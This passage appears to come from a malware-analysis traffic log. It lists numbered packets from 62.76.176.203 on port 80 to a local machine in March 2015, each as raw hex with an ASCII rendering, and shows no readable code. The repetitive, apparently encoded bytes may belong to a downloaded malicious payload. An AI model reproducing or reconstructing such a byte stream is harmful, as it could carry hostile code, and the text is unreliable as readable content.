Data Ascii: 2A7+/W 322*4N!>.7?@4MWLI.*)+?,,*A.N W.O*)+2I633(L!->- 7!/3 7*/0//4J)+!;.4<26+0",>.-9NO4**W6 2*/>K96((4N(=/@2*)KK5./ O42II"+I"/-1)O/IKHWK>KM54-42*/=S! ;"
387
Mrz 4, 2015 14:54:13.947401047 MEZ80103262.76.176.203192.168.1.10Data Raw: 2d 31 32 19 2a 11 30 4e 29 09 0e 33 34 16 3d 08 28 57 3e 40 22 15 49 37 3e 0c 36 0d 30 15 1d 3b 33 1a 4a 37 02 3e 1c 3a 1a 21 0a 4e 32 3f 57 34 2d 2e 20 01 12 22 4f 4d 1b 1a 4d 37 2e 35 20 30 2c 2f 01 0a 48 40 2f 1d 2d 19 33 4d 29 0d 36 4b 09 28
Data Ascii: -12*0N)34=(W>@"I7>60;3J7>:!N2?W4-. "OMM7.5 0,/H@/-3M)6K(!I.()"",* 9?L2-2=7:6(K>J3.42/L;?M0241;.;M?()<> (W/+N5>""N.555555555555555555555555555>/
388
Mrz 4, 2015 14:54:13.947480917 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 21 02 11 40 36 22 21 17 3c 15 12 0a 16 36 10 08 02 09 57 1d 1a 01 2d 01 4b 14 10 53 1b 1c 37 0a 20 12 48 1a 02 3e 10 1a 3b 3e 35 2d 0b 41 4c 33 53 09 3a 1f 22 17 48 48 3d 2b 0c 0a 20 08 2d 1a 3d 00 30 12 1c 4c 4d 48 49 0a 39 12 09 2b 0b 16 0e
Data Ascii: 6!@6"!<6W-KS7 H>;>5-AL3S:"HH=+ -=0LMHI9+7!,O-75-A!S(=H/@?*W2JLK(-(>< S+KA(79W5K(?/HL0".W?!S: 4O:A<2@+:<?4<+":A1;A6!W,4@!<3>.0-"0=JK@
389
Mrz 4, 2015 14:54:13.947484970 MEZ80103262.76.176.203192.168.1.10Data Raw: 4d 4a 4b 49 2b 1a 00 01 40 09 4a 22 39 36 3f 17 19 2a 37 2b 1e 2c 4b 10 41 4a 01 48 0c 2d 02 1a 0b 21 4b 09 0e 4e 48 02 01 2e 31 2b 4e 2e 36 10 01 2f 3f 1e 3b 19 17 2e 19 19 1c 1e 02 4f 40 0e 1e 3a 4e 36 1b 29 1e 2e 12 3f 33 1e 3b 40 3a 1f 40 12
Data Ascii: MJKI+@J"96?*7+,KAJH-!KNH.1+N.6/?;.O@:N6).?3;@:@JS@/.I3A?:+5426W?<622/I23?OINK,K:K-J<-:K".-"H/M=22J4I9=O K4=W4;A+"SA</--+"M.5HS4!-4>K/+-7:95;
391
Mrz 4, 2015 14:54:13.947571039 MEZ80103262.76.176.203192.168.1.10Data Raw: 49 13 0c 34 01 3f 41 2e 39 21 48 10 14 1c 3f 08 37 49 3d 4e 13 4e 22 3a 1b 22 4d 2d 40 0b 09 53 11 09 08 1f 0b 3a 3a 2b 3d 41 0e 39 21 32 1b 3f 1e 1f 0c 16 2d 4b 28 0f 1b 4d 1b 3c 1e 0d 00 22 2e 1e 33 2e 21 4b 0b 15 1d 30 1e 20 3e 2b 17 14 19 2a
Data Ascii: I4?A.9!H?7I=NN":"M-@S::+=A9!2?-K(M<".3.!K0 >+*,4 >/4" <>=I*./.-I)MH.SA=MOJ(!0W144W,-5/3>L:(-JN2".51!@A!I:4J>963A:.N (L5A30I;AI!IM2)
392
Mrz 4, 2015 14:54:13.947575092 MEZ80103262.76.176.203192.168.1.10Data Raw: 0f 16 49 17 48 0c 33 29 17 36 13 40 1f 1a 4b 32 34 2c 2a 28 2d 17 30 31 08 4f 1e 32 08 4c 53 17 00 3c 4e 36 1d 4f 49 09 4b 3d 0c 29 14 41 17 57 14 3d 3c 30 41 2d 4a 21 15 33 17 57 4d 28 20 32 1e 4f 0c 2d 36 57 1a 3c 3d 11 3c 0d 0d 0a 20 2e 1b 0f
Data Ascii: IH3)6@K24,*(-01O2LS<N6OIK=)AW=<0A-J!3WM( 2O-6W<=< .),K ;9("A@*:5HN!!?M,J5OJNL"/H5 =K(I>S)!)-5-1=!42*71@7L(K/JSO<A:KI);<16O1L -S+L0OH6> I55555
394
Mrz 4, 2015 14:54:13.947671890 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 0e 0b 1f 1d 01 40 3b 1f 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 5555555555555555555555555555.!@;;)99999999999999HN.<W> @K.N"H.I:AK 5WNK>@K7/6>-SJ593";?I> I*0H-):==5.+:4=J)@!+MH!4<=@3AJ6!6J=2-N:(6H)
395
Mrz 4, 2015 14:54:13.947675943 MEZ80103262.76.176.203192.168.1.10Data Raw: 1b 36 1b 01 20 1c 2f 21 4f 33 00 41 4f 3e 36 00 12 2f 3e 4a 49 4d 2a 31 30 19 0e 3b 28 3f 20 0c 1e 21 49 33 17 16 1a 0b 17 4b 49 4b 21 1b 2f 11 1e 00 31 0b 08 49 41 57 0d 2b 40 01 0a 30 00 08 13 34 1b 3b 4c 2e 00 40 32 4c 49 1b 0b 15 15 4b 21 4b
Data Ascii: 6 /!O3AO>6/>JIM*10;(? !I3KIK!/1IAW+@04;L.@2LIK!K930S(25:3 K I2,J4LM;2.L-?1/J4)O!M+6I6)O=/A"13!@+O(,!"!(>K!*+N/M(NI"(S/!69(=94+N!.("(4I
397
Mrz 4, 2015 14:54:13.947683096 MEZ80103262.76.176.203192.168.1.10Data Raw: 1e 22 3a 2d 20 2f 0c 31 0e 14 2a 4f 57 20 39 0d 0c 4d 4c 00 3f 12 32 08 0e 2f 3f 0e 13 2e 29 37 02 3e 31 4d 21 57 33 0d 2d 20 57 29 30 3e 0b 08 2a 12 3f 1f 08 16 0e 37 39 31 2b 36 2c 4b 48 32 1d 0e 3c 08 0a 4a 20 01 11 14 49 4f 2c 35 2a 4d 2f 17
Data Ascii: ":- /1*OW 9ML?2/?.)7>1M!W3- W)0>*?791+6,KH2<J IO,5*M/J+!!@.(/,77+593" *,N<+ 7/M*>>@/W+K7+/K!4, <<-S2O.?2!46,2,:K/)4OK46SL >K.)MS+,O-)+: "W?".A ) 4;K3O2<
398
Mrz 4, 2015 14:54:13.947880983 MEZ80103262.76.176.203192.168.1.10Data Raw: 19 4b 3e 49 4e 37 10 00 09 22 0e 22 1e 1e 33 2c 22 2f 40 13 53 02 17 02 20 2c 2b 13 2d 1a 08 12 1d 4c 28 2f 4a 08 32 2b 49 3e 0b 3d 4f 1f 3b 4a 0d 2a 32 10 48 20 1e 2b 17 00 16 4c 12 32 36 2d 14 28 08 20 41 22 16 2c 30 3c 35 12 34 1c 22 28 1d 4f
Data Ascii: K>IN7""3,"/@S ,+-L(/J2+I>=O;J*2H +L26-( A",0<54"(OM!JI).2.N/7!(+7+I4) W=:.66O1:,K/;W,I7*("WO6J:,H4("I ;0/A>(?2NO>12(??M3-(K:OM03-2N6L!0?INA.;6M!@(,,(MAN/JS*(ALJW*
400
Mrz 4, 2015 14:54:13.947885036 MEZ80103262.76.176.203192.168.1.10Data Raw: 19 0e 40 31 20 3b 41 19 32 33 1f 01 34 2b 12 12 3c 2a 32 1c 01 11 13 3a 41 11 3e 0b 1e 1d 32 3e 02 08 29 36 4a 3a 4a 29 19 57 2b 2c 32 20 32 0f 36 02 20 22 30 0e 34 2e 15 20 32 2d 35 1b 4b 22 1c 32 48 14 40 32 00 01 28 29 20 31 22 2c 2c 12 4f 34
Data Ascii: @1 ;A234+<*2:A>2>)6J:J)W+,2 26 "04. 2-5K"2H@2() 1",,O4H)*)!/II,J=:0NI.3(SOA9,,6J<N!I3/,:K/2-?4J)(" 2,65W!?6:>43*MW;53-5./I" H.2/!!-,6@O7W>:MM,IM 2,(-L!"/56I3
402
Mrz 4, 2015 14:54:13.947887897 MEZ80103262.76.176.203192.168.1.10Data Raw: 00 02 4d 11 31 48 0e 34 22 0c 3c 49 35 0f 37 1a 4e 28 21 0a 40 33 17 02 4d 4d 0d 00 30 4d 0b 1f 4e 3c 2d 2b 32 39 2d 10 36 33 3c 17 41 41 4a 0f 4e 31 36 1b 2a 32 57 01 35 0f 4b 00 15 49 22 36 48 01 4a 0e 0c 11 4e 2f 35 53 31 2d 17 3f 2d 21 4c 02
Data Ascii: M1H4"<I57N(!@3MM0MN<-+29-63<AAJN16*2W5KI"6HJN/5S1-?-!L5"S@N(5:<OMISKNLI@"W3N@/SMK>,!>5MJ.:@I"A5H1. I*2 -!-*!H7(:/6!5"?1K!;0K@/KH="";+)*31S4>+?-2/S3A
403
Mrz 4, 2015 14:54:13.947890043 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 00 2e 11 53 01 3a 4f 3f 1f 37 39 32 3b 29 39 39 39 39 39 39 39 39 39 39 39 39 39 36 20 4d 57 2f 09 1f 0a 15 3a 32 0a 32 36 08 00 4b 33 53 21 34 14 3a 49 3f 14 08 0b 14 22 11 0c 33 1b 2c 0e 4e 0d 32 19 3b 0c 4e 0a 13 12 35 2e 16 4a 4a 1a 48 15
Data Ascii: 5.S:O?792;)99999999999996 MW/:226K3S!4:I?"3,N2;N5.JJHK6S1+17/(<I(/+S,,!1++??"--2;1/- ,/2 >>2.* 5.@0:6)/K-.2>MI@</2J+5@-A4=:K5-")77!,.W>L!W"N "HW2<J6/I:!>6
404
Mrz 4, 2015 14:54:13.947928905 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 2e 1f 21 32 3d 0b 2e 30 39 29 19 4b 49 10 35 35 13 35 2b 16 1b 1f 1b 0a 4b 1d 35 39 16 53 2b 2a 37 20 2d 2c 48 11 22 4a 4d 20 2e 0c 1d 1e 10 21 49 11 2e 4a 3e 01 20 37 00 1c 3b 0a 4a 0d 1a 53 2b 4d 3f 1b 2a 2a 41 30 3c 2b 4e 1e 3f 33 37 0a 3a
Data Ascii: 9.!2=.09)KI555+K59S+*7 -,H"JM .!I.J> 7;JS+M?**A0<+N?37:;M93!LI"*@2+A(.=>NI7?>+W/S2)MO6?.,-5?N0:>0J= 035A<H"-1!IH7J-"I@+6"5/S =54-5?7 @A4.K*SN5/
406
Mrz 4, 2015 14:54:13.947987080 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 2b 1c 1a 32 14 14 1b 00 1c 15 1d 48 0c 28 31 1f 4a 1c 3d 35 2a 32 1a 1c 36 1c 1a 08 14 49 22 21 41 1f 0d 2b 4a 1e 31 2b 08 00 1b 28 0b 2f 16 22 0e 1d 2b 0e 1a 00 48 4b 4b 00 1a 32 34 22 2e 3b 20 1e 21 2f 32 14 0c 1b 0f 4f 2e 3f 15 12 4d 34 22
Data Ascii: +2H(1J=5*26I"!A+J1+(/"+HKK24".; !/2O.?M4"L<W(L=M!!-6KW/0!O :3W(-J15(0.,@1W7,,?L L!.)WWO)K >!)</*1+"5)*AI<S4 .,2,)O0!.O-5W1IA)76 W?HIH09K?4L6
407
Mrz 4, 2015 14:54:13.948041916 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 1c 49 0c 3d 0e 2e 2e 31 53 16 21 1f 31 16 41 1c 1e 2e 2d 4c 13 14 19 30 1e 34 19 41 1d 1f 2d 4f 14 28 4d 4b 11 3a 00 1c 2a 37 19 0e 34 22 4f 4c 4d 11 49 13 49 53 2e 21 4b 3a 21 4d 0e 0d 1d 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: I=..1S!1A.-L04A-O(MK:*74"OLMIIS.!K:!M5555555555555555555555555555555555555555555.S:O<)=92;)99999999999996MW+J/"K5NW/74<1;;I/27,@*2(JL"N!L@J=N
408
Mrz 4, 2015 14:54:13.948045969 MEZ80103262.76.176.203192.168.1.10Data Raw: 41 3b 4d 17 17 2f 34 3a 21 20 0b 1a 00 3d 0b 20 15 2b 1a 0f 2f 4a 0b 1b 3e 0d 36 4c 4c 2a 0b 3c 31 53 32 20 4f 1f 40 31 40 1d 39 0f 4a 4b 35 19 3a 36 0d 31 31 28 4e 1b 39 49 2f 17 36 4b 1d 2f 2f 4b 3e 17 30 09 31 2f 16 08 4b 2e 37 02 35 1a 20 11
Data Ascii: A;M/4:! = +/J>6LL*<1S2 O@1@9JK5:611(N9I/6K//K>01/K.75 ,2/>*?KI(>HNL*4:S07)-HH*4?6O6>.?1/47+J0K424K9N.W3>K47<4590,.(:44LM1M-/?0*:00;?.M/0.O4609</I?7(2*7 /M(.3+)LM,3;
410
Mrz 4, 2015 14:54:13.948156118 MEZ80103262.76.176.203192.168.1.10Data Raw: 2e 2c 37 28 0f 4d 2b 19 0a 3e 15 4b 22 09 14 0e 17 0c 2d 0a 40 4b 28 2b 3d 0e 0e 2a 4a 0e 29 3b 2b 12 30 0b 3a 13 13 1d 0c 37 3a 4e 2c 4a 34 35 53 32 0b 1a 40 00 2b 35 1a 4d 10 14 35 0c 40 19 19 2e 20 1e 1c 4a 39 4b 22 09 13 2b 1b 3e 11 09 0b 39
Data Ascii: .,7(M+>K"-@K(+=*J);+0:7:N,J45S2@+5M5@. J9K"+>9S2+IM+-6H2)+"<92)S2.9I.IMO.-*-HH OL4.!IAO2.S1.65/= H+A1IWJ?1/+ 97 H:-+@4J?.O<"@L.<9,N +/A4>
411
Mrz 4, 2015 14:54:13.948159933 MEZ80103262.76.176.203192.168.1.10Data Raw: 28 4d 11 14 4d 10 0b 0e 20 3c 1b 19 0b 39 11 14 4a 34 0f 3b 1b 3b 1f 1a 3c 57 2f 22 09 36 00 4e 2d 00 2b 41 0d 3f 3e 28 4a 30 4b 2b 2d 48 35 19 3c 0c 1e 41 2f 29 40 2b 1b 41 3b 19 30 39 12 53 11 32 0f 2b 1e 2e 2b 19 12 4f 11 4e 48 16 4b 2c 21 49
Data Ascii: (MM <9J4;;<W/"6N-+A?>(J0K+-H5<A/)@+A;09S2+.+ONHK,!I7-+,SH /OOMNK)+-*N>!OM J57;,ML/2-IM6K</4K--3*H1 "55++MAH>JJ+O0:?"@;."( <4I6N,WI"5+H>!
413
Mrz 4, 2015 14:54:13.948162079 MEZ80103262.76.176.203192.168.1.10Data Raw: 40 0b 57 19 1a 4d 19 2a 17 1d 0c 4b 35 35 4b 19 22 3b 4c 4c 2f 30 2d 01 20 40 02 11 2c 4e 00 01 3d 14 3d 09 2e 1a 1e 0b 2d 4a 16 3a 37 33 20 2b 21 4f 0a 32 35 49 11 00 4a 3e 12 2a 36 16 34 19 33 1e 3e 1c 53 0a 08 29 1c 2f 1e 1b 1b 1f 4d 1c 53 0f
Data Ascii: @WM*K55K";LL/0- @,N==.-J:73 +!O25IJ>*643>S)/MSL23?@W5555555555555555555555555555555555555555555555555555555555555555555555555
414
Mrz 4, 2015 14:54:13.948196888 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 48 00 49 22 41 08 2c 22 0f 4c 48 4a 57 2b 13 2f 33 08 28 36 19 30 2b 2e 41 0c 2c 39 10 3a 28 4f 08 4b 16 57 3d 13 0f 20 3a 2a 4b 29 2a 4d 13 15 00 36 2c 3c 17 2a 28 4a 0c 57 21 20 22 37 2c 2c 3c 20 28 1e 30 10 21 0c 22 32 0c 08 32 08 28 36 22
Data Ascii: HI"A,"LHJW+/3(60+.A,9:(OKW= :*K)*M6,<*(JW! "7,,< (0!"22(6"W+*3/>/>@6 6/SO05?/WO;SAK/A.>KI1/2MI!*-IJ0*L34=A,3*(+OK>,34HK 9: ,/(KK(**IJ?0LM4,J7*A!L>9.6S.J75 >
415
Mrz 4, 2015 14:54:13.948374987 MEZ80103262.76.176.203192.168.1.10Data Raw: 13 01 2f 1a 48 3e 20 1c 53 3e 4f 02 1c 31 4a 19 21 0a 10 0b 4a 36 4f 02 2f 3c 2b 08 2c 4b 15 29 36 2e 4a 01 21 1c 1b 4b 12 49 15 41 4a 14 0f 36 3d 57 2b 11 2e 49 1b 39 0a 4d 1b 49 3d 01 31 34 35 22 10 49 30 30 49 12 13 3b 36 29 2d 00 14 53 12 32
Data Ascii: /H> S>O1J!J6O/<+,K)6.J!KIAJ6=W+.I9MI=145"I00I;6)-S2MJ?/69:-;30.*.0LHJI"?+/,OJ/..3W+-I9AKK9!M,3/ O0/+ N6"J+??<SN-"(<(/<+MN<HAA=,?:H"!
417
Mrz 4, 2015 14:54:13.948379993 MEZ80103262.76.176.203192.168.1.10Data Raw: 40 32 35 2b 20 37 3d 4e 14 3f 34 09 1a 21 0f 2c 2f 4e 35 34 48 3e 32 22 2d 4a 0a 1d 40 39 21 31 22 3a 32 4a 3b 37 35 35 20 14 01 14 10 34 10 16 48 28 3e 33 16 10 10 2d 2b 2e 10 20 15 2e 4f 37 20 1e 15 2b 3e 10 3f 17 10 17 0c 2d 29 40 1d 1b 02 49
Data Ascii: @25+ 7=N?4!,/N54H>2"-J@9!1":2J;755 4H(>3-+. .O7 +>?-)@I9/).->W<(@+@L>J;>NA>I.I/"LI=O=>J0<I= .!H0,?>1@4>=AH.(.5<O!?>45M:K.;I+"I)*7+-@,-W..) O:!2555555
418
Mrz 4, 2015 14:54:13.948383093 MEZ80103262.76.176.203192.168.1.10Data Raw: 37 49 31 19 13 2e 32 32 21 02 1c 2c 2e 3b 11 19 12 49 20 0c 41 3e 0d 0e 15 3c 2e 0b 2d 30 2a 1d 19 3e 01 2b 12 1c 1b 41 3d 2e 09 3a 4a 19 0b 2c 29 49 2c 34 4d 0d 53 37 20 36 0f 0a 3e 2c 2e 2e 1b 4e 53 3a 33 4d 1b 02 2c 2b 4c 09 48 0c 2a 53 10 13
Data Ascii: 7I1.22!,.;I A><.-0*>+A=.:J,)I,4MS7 6>,..NS:3M,+LH*S!76+MI<>?@I:+SLJ@<A4I?((K*1=?S*5,(",K.JK,.I+)/1,KO05+.I>-A:JJ*.30MH45>5+-/0<3J?)+J2N(@:
420
Mrz 4, 2015 14:54:13.948385954 MEZ80103262.76.176.203192.168.1.10Data Raw: 4f 3b 3e 41 22 39 0b 2e 36 49 37 40 20 11 4b 0e 3d 13 48 2f 08 0f 41 3d 02 36 10 1a 35 0f 29 20 11 53 3d 19 20 10 10 01 09 11 08 3e 3f 48 41 4f 30 22 10 0f 0c 29 41 48 0d 1c 3e 21 1d 0c 10 1c 2d 12 3b 2e 14 3d 28 20 4b 22 10 19 4e 34 28 0d 3f 48
Data Ascii: O;>A"9.6I7@ K=H/A=65) S= >?HAO0")AH>!-;.=( K"N4(?HA2OI=>)@3*/6+*/2!6?6!<05I?@!91--J24/3< +L SS.7A5?L6>6)7@AJ2++.3=")3>5N79S!63MM*6?@-9.4>5">@AAL>;7*6W .
421
Mrz 4, 2015 14:54:13.948482037 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 0a 0c 01 09 13 0f 1a 02 49 10 34 4a 3d 0b 15 2d 02 20 0a 13 4b 2f 11 2e 11 00 2f 2d 00 2b 09 2d 2a 10 4f 3f 19 14 12 13 0f 0d 4b 2d 30 10 00 3f 3c 0b 49 3d 01 20 1d 1b 3a 3a 1d 17 0f 0e 39 14 20 2b 1b 28 48 1a 41 4a 30 0b 0e 21 53 19 19 1a 3f
Data Ascii: JI4J=- K/./-+-*O?K-0?<I= ::9 +(HAJ0!S?2A/553,90.HNO:5;A/;-/?-.451.H0.AK-!/>;.!SMN> ,=00 //(O.>N+I:K05!0<J>.OK)I6!@.-5I!"+M,13>
422
Mrz 4, 2015 14:54:13.948504925 MEZ80103262.76.176.203192.168.1.10Data Raw: 22 3a 11 08 02 4d 10 3e 41 2f 2e 10 13 01 2b 01 2c 4a 3c 2a 4a 3e 4e 2b 00 41 2b 01 2c 48 01 1c 4a 2e 0b 0e 2e 36 2c 37 2c 49 14 1c 41 19 33 3c 4d 3e 29 19 2c 4d 35 12 53 01 4d 2f 29 2a 2c 41 36 4a 2a 01 21 3e 4a 1d 2d 49 2d 2e 3d 3f 00 1c 0f 36
Data Ascii: ":M>A/.+,J<*J>N+A+,HJ..6,7,IA3<M>),M5SM/)*,A6J*!>J-I-.=?6<!OM+=*/K<MHS79IIK<S+;KAA 9IO,+>-:6ON:A??+2O<.O!-* 53@J2O:H "K:K<"JH+!.W35+*7 @+>0+.7,KL/(<7
424
Mrz 4, 2015 14:54:13.948509932 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555>/4O10;=9299999999999999*I*97> IM7>/O0O=AW
425
Mrz 4, 2015 14:54:13.948544979 MEZ80103262.76.176.203192.168.1.10Data Raw: 1a 31 57 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 0e
Data Ascii: 1W55555555555555555555555555555555555555.!;;9;)9999999999999;+M,W."2+((?J>N:?=S4:2K.MSOHM0N4.-:A@?4 . :S<+JJ0K/=9N?LO9*?+LA@M*+6=MNW
427
Mrz 4, 2015 14:54:13.948617935 MEZ80103262.76.176.203192.168.1.10Data Raw: 3d 0f 2b 0d 08 3c 0b 37 37 2a 35 2f 3d 4a 2b 28 34 02 0b 37 1d 2a 37 01 39 4a 2b 2d 2d 2c 2e 0a 0d 4c 29 19 2a 49 2b 11 2c 4b 30 10 0d 3a 0c 09 2d 01 2c 1d 22 34 11 1c 4c 30 0c 2b 20 02 2c 19 20 4b 11 1c 4f 30 00 01 13 01 01 4e 12 4b 2a 3a 37 0a
Data Ascii: =+<77*5/=J+(47*79J+--,.L)*I+,K0:-,"4L0+ , KO0NK*:7.>+1W<(6+3WM2A.O6=A.";NI/",0 K/ <"-<H@7=.,K?/J,.+,INJH!JKIHI;*2*<K7? 00@+HK+*7A,*O>63I!-"0)!OJL:W9
428
Mrz 4, 2015 14:54:13.948646069 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 01 2c 4f 33 02 00 57 3f 4a 48 16 09 17 41 21 40 4d 1f 29 0a 3f 35 0f 4a 16 1f 0f 00 40 2b 1b 2a 53 48 10 11 0b 41 35 4e 4c 4b 53 34 3e 4c 3e 3f 15 28 19 3d 4b 13 09 2e 08 37 1d 15 16 31 14 17 10 16 3c 4c 09 3c 00 16 41 3a 4d 34 2c 11 1a 13 16
Data Ascii: ,O3W?JHA!@M)?5J@+*SHA5NLKS4>L>?(=K.71<L<A:M4,9 SNN4H5M9/)@H30MS!!L5,4A*I1(K436L@(M;":+(K"L@ 7>69OL) 3"I@*=5N2)3.HL:;:41JI-0LM-)
429
Mrz 4, 2015 14:54:13.948719025 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 00 1c 2a 3d 12 2b 53 0f 1b 30 0f 12 3d 3d 0d 35 09 02 3a 3a 16 30 20 2c 1e 3c 0a 28 12 57 13 37 4f 36 19 57 4c 3f 49 16 0d 0e 17 41 2b 22 0a 49 1b 14 2f 4a 19 15 15 16 21 57 12 3b 0e 2d 08 57 3d 0b 22 1c 32 37 3f 3a 49 30 16 0c 14 01 0b 01 48
Data Ascii: *=+S0==5::0 ,<(W7O6WL?IA+"I/J!W;-W="27?:I0H=<?KSK!I*7/(M,?I=K!)?7M(*>HJN ?0N<W17);S:*4J!3O3()IN)IA-43N7)5@-)LH@22H:0!2=I/)14 3">S=.//)?-
430
Mrz 4, 2015 14:54:13.948723078 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 0f 32 16 0d 0e 2c 02 0a 16 16 0b 30 3c 33 32 08 2d 4b 3f 19 2b 19 0c 0e 2c 40 2a 4a 00 4a 1d 33 21 1c 0c 35 0d 14 3e 0f 00 36 2e 11 1a 14 2a 12 19 3e 22 4e 29 3f 3f 3c 21 20 15 1d 2f 32 11 32 32 0a 1c 4a 21 3f 0c 32 19 49 13 0e 01 2f 36 4b 4c
Data Ascii: +2,0<32-K?+,@*JJ3!5>6.*>"N)??<! /222J!?2I/6KL*3"?2++J?:K-+ !/2,*?<5O>2MI2*+@62/WI(/0I>2666(/0"/I2,>14-*O22A?5-.O/2!"3)0=!;/I-/4K5-5"N>5I.475 7*>3M4)=K9.
432
Mrz 4, 2015 14:54:13.948821068 MEZ80103262.76.176.203192.168.1.10Data Raw: 4f 21 31 3f 32 34 3f 40 17 30 15 1d 39 4c 1b 12 36 2b 30 33 1c 1b 3b 30 57 4d 21 3a 37 2b 32 33 20 1e 19 30 35 2e 1e 1a 37 16 13 3b 08 29 11 1e 40 21 15 4d 08 02 28 11 22 2a 1d 4c 2d 2d 3f 00 34 2f 0f 1f 00 2c 3f 3d 0c 22 33 1b 2a 0f 4a 11 2d 57
Data Ascii: O!1?24?@09L6+03;0WM!:7+23 05.7;)@!M("*L--?4/,?="3*J-W?K/,6L?KI,90.> -:!A3.+0LH45I"L 2/4>SM ;L",M(-+/2N.2(L !L!55555555555555555555555555555555555
433
Mrz 4, 2015 14:54:13.948843002 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 09 2b 41 39 0d 28 1c 16 0e 02 30 0f 33 17 0b 41 0f 3c 0d 14 1b 3d 49 31 2f 4a 4a 2e 01 20 1c 12 4f 22 34 35 2e 10 01 57 22 22 0c 4e 2c 2f 57 21 14 01 08 32 21 2c 0a 2e 1d 0b 16 35 16 15 41 19 1b 29 30 0c 1b 29 08
Data Ascii: 99999999999+A9(03A<=I1/JJ. O"45.W""N,/W!2!,.5A)0)/H*7.L>N6.3A0!/?,1AA7.7-@1?3)H?L1 @9>AW2K95KSHW"19! 2NLI(5!!/K SK"<!967) <*(??A7O+K!M0-7)H2=1@
434
Mrz 4, 2015 14:54:13.948847055 MEZ80103262.76.176.203192.168.1.10Data Raw: 21 4b 3b 2b 41 1c 13 21 13 4c 1c 11 4a 08 35 32 1e 0f 53 16 1a 41 22 37 11 08 36 53 4d 09 22 12 31 00 29 41 20 2d 11 2d 1e 1d 13 1c 31 4b 0e 21 0c 0b 41 1a 2a 08 49 4b 3d 14 57 2d 4f 16 13 2a 1e 08 22 1b 1b 22 1b 0d 3f 16 31 0a 1a 08 00 48 0c 32
Data Ascii: !K;+A!LJ52SA"76SM"1)A --1K!A*IK=W-O*""?1H2!A .0-N"S 7! >N+"567SSW2+7<NA5W67:@@O40IA1W"A-O@71>5*1!?+1(!NAM?AL/6,922(7M>WA.?K9W7
436
Mrz 4, 2015 14:54:13.948939085 MEZ80103262.76.176.203192.168.1.10Data Raw: 31 4b 20 2b 08 0f 21 21 1c 3c 09 33 2d 49 33 2d 2f 10 4c 1b 20 32 0f 40 34 2e 35 22 0c 36 39 2b 20 1c 4c 09 48 14 35 09 53 0f 49 21 08 41 0f 40 3e 3a 28 2f 15 40 53 19 1e 0f 10 1a 34 4d 22 49 19 1a 2e 2a 30 0c 00 0b 2d 14 21 29 3f 15 36 4c 16 2e
Data Ascii: 1K +!!<3-I3-/L 2@4.5"69+ LH5SI!A@>:(/@S4M"I.*0-!)?6L.O=.I!!2J<(! 96J:M2K15-92!(4>*;55555555555555555555555555555555555555555555555555555
437
Mrz 4, 2015 14:54:13.949529886 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 29 0d 2c 3a 1b 16 16 0f 15 0a 0b 33 57 1b 11 1a 1e 39 1a 37 01 13 28 15 49 36 4e 17 2b 49 0c 21 08 36 22 4f 14 53 21 08 2b 0c 0a 2d 09 3a 22 34 3e 53 21 0a 2b 14 0a 3d 09 01 4b 16 4f 28 48 1e 14 11 1d 19 4b 37 2d 4c 22 41 4c 4b 11 3e 1b 21 20
Data Ascii: ),:3W97(I6N+I!6"OS!+-:"4>S!+=KO(HK7-L"ALK>! 7-LMILK7?5- 5"W+*J,7=0OJ9(IHM1-05/A!;A-,A.A"<M16H2:!,"K.<*1+@KIW!A=4"A:<)?.A,/@O"L 2<1/- N(
438
Mrz 4, 2015 14:54:13.949536085 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 30 2d 2b 09 20 4a 2f 2f 30 40 39 2f 00 37 20 36 49 0b 0f 3f 3e 1d 1f 3b 48 0f 2d 0c 01 49 1c 2f 3f 1a 21 02 2d 22 2a 1c 0b 3f 21 20 34 20 19 57 2c 2f 11 57 32 08 0e 2e 08 4d 21 1d 3a 37 02 3d 0c 09 0b 17 1f 3b 17 1a 14 22 29 01 36 1e 57 16 3f
Data Ascii: 0-+ J//0@9/7 6I?>;H-I/?!-"*?! 4 W,/W2.M!:7=;")6W?+N> />I67 *2)-= =W1)!06"43J06+.!K.AM.K<O0"LL-,H*? K 6J:22 0(24N:W6H 3M*0941-,>./;-,3"M*9;I!H6,2</7-:.
440
Mrz 4, 2015 14:54:13.949538946 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 19 3c 31 0b 11 32 0f 36 2a 4c 0f 30 0a 4b 15 21 19 53 2d 30 34 48 4d 21 2e 1e 13 3e 4d 35 19 3d 36 0b 1c 39 3e 4b 3a 30 01 0b 2c 34 08 2d 2b 1d 02 4d 19 22 1d 34 1e 2e 2c 3d 16 10 4e 09 34 0b 17 00 3d 10 2c 4e 12 00 4e 30 01 2c 02 33 4c 3a 1b
